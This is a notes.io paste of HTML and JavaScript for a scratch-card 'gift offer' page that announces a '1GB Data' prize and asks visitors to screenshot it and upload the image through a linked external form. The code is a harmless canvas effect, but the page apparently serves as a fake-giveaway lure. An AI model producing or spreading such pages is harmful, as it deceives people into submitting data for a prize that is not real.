NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

<html>
<head>
<title>Easy special gift offers</title>
<style>
body {
padding: 20px 0;
}

.container {
position: relative;
width: 300px;
height: 300px;
margin: 0 auto;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
-o-user-select: none;
user-select: none;
border:2px solid #0080ff;
box-shadow:inset 0 0 10px #0080ff;
}

.canvas {
position: absolute;
top: 0;
}
h2,h1{
text-align: center;
}
.form {
padding: 20px;
}
img{
width: 150px;
}
</style>
</head>
<body>
<h1>Easy special gift offers</h1>
<div class="container" id="js-container">
<canvas class="canvas" id="js-canvas" width="300" height="300"></canvas>
<form class="form" style="visibility: hidden;">
<h2>Congrats!</h2>
<h2 ><code>1GB Data</code></h2><p>Take a screenshot and upload</p>
<img src="https://www.nicesnippets.com/image/3-2-gift-transparent.png" alt="">
</div>
</form>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js" integrity="sha512-bLT0Qm9VnAYZDflyKcBaQ2gg0hSYNQrJ8RilYldYQ1FxQYoCLtUjuuRuZo+fjqhx/qtq/1itJ0C2ejDxltZVFg==" crossorigin="anonymous"></script>
<script>
(function() {

'use strict';

var isDrawing, lastPoint;
var container = document.getElementById('js-container'),
canvas = document.getElementById('js-canvas'),
canvasWidth = canvas.width,
canvasHeight = canvas.height,
ctx = canvas.getContext('2d'),
image = new Image(),
brush = new Image();

// base64 Workaround because Same-Origin-Policy
image.src = 'https://i.ibb.co/yFHcXrS/IMG-20220702-072613.jpg" alt="IMG-20220701-230207" border="0"';
image.onload = function() {
ctx.drawImage(image, 0, 0);
// Show the form when Image is loaded.
document.querySelectorAll('.form')[0].style.visibility = 'visible';
};
brush.src = 'https://www.nicesnippets.com/image/scarchimagetrans.png';

canvas.addEventListener('mousedown', handleMouseDown, false);
canvas.addEventListener('touchstart', handleMouseDown, false);
canvas.addEventListener('mousemove', handleMouseMove, false);
canvas.addEventListener('touchmove', handleMouseMove, false);
canvas.addEventListener('mouseup', handleMouseUp, false);
canvas.addEventListener('touchend', handleMouseUp, false);

function distanceBetween(point1, point2) {
return Math.sqrt(Math.pow(point2.x - point1.x, 2) + Math.pow(point2.y - point1.y, 2));
}

function angleBetween(point1, point2) {
return Math.atan2( point2.x - point1.x, point2.y - point1.y );
}

// Only test every `stride` pixel. `stride`x faster,
// but might lead to inaccuracy
function getFilledInPixels(stride) {
if (!stride || stride < 1) { stride = 1; }

var pixels = ctx.getImageData(0, 0, canvasWidth, canvasHeight),
pdata = pixels.data,
l = pdata.length,
total = (l / stride),
count = 0;

// Iterate over all pixels
for(var i = count = 0; i < l; i += stride) {
if (parseInt(pdata[i]) === 0) {
count++;
}
}

return Math.round((count / total) * 100);
}

function getMouse(e, canvas) {
var offsetX = 0, offsetY = 0, mx, my;

if (canvas.offsetParent !== undefined) {
do {
offsetX += canvas.offsetLeft;
offsetY += canvas.offsetTop;
} while ((canvas = canvas.offsetParent));
}

mx = (e.pageX || e.touches[0].clientX) - offsetX;
my = (e.pageY || e.touches[0].clientY) - offsetY;

return {x: mx, y: my};
}

function handlePercentage(filledInPixels) {
filledInPixels = filledInPixels || 0;
console.log(filledInPixels + '%');
if (filledInPixels > 50) {
canvas.parentNode.removeChild(canvas);
}
}

function handleMouseDown(e) {
isDrawing = true;
lastPoint = getMouse(e, canvas);
}

function handleMouseMove(e) {
if (!isDrawing) { return; }

e.preventDefault();

var currentPoint = getMouse(e, canvas),
dist = distanceBetween(lastPoint, currentPoint),
angle = angleBetween(lastPoint, currentPoint),
x, y;

for (var i = 0; i < dist; i++) {
x = lastPoint.x + (Math.sin(angle) * i) - 25;
y = lastPoint.y + (Math.cos(angle) * i) - 25;
ctx.globalCompositeOperation = 'destination-out';
ctx.drawImage(brush, x, y);
}

lastPoint = currentPoint;
handlePercentage(getFilledInPixels(32));
}

function handleMouseUp(e) {
isDrawing = false;
}

})();
</script>
</body>
</html>

<br>
<br>

<!DOCTYPE html>
<html>
<body>

<!DOCTYPE html>
<html>
<body>

<a href="https://my.forms.app/easyapphelp/file-upload-form">
<img border="0"" src="https://i.ibb.co/Qn4TkjW/IMG-20220702-081311.jpg" alt="IMG-20220702-081311" border="0"></a>

</body>
</html>
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.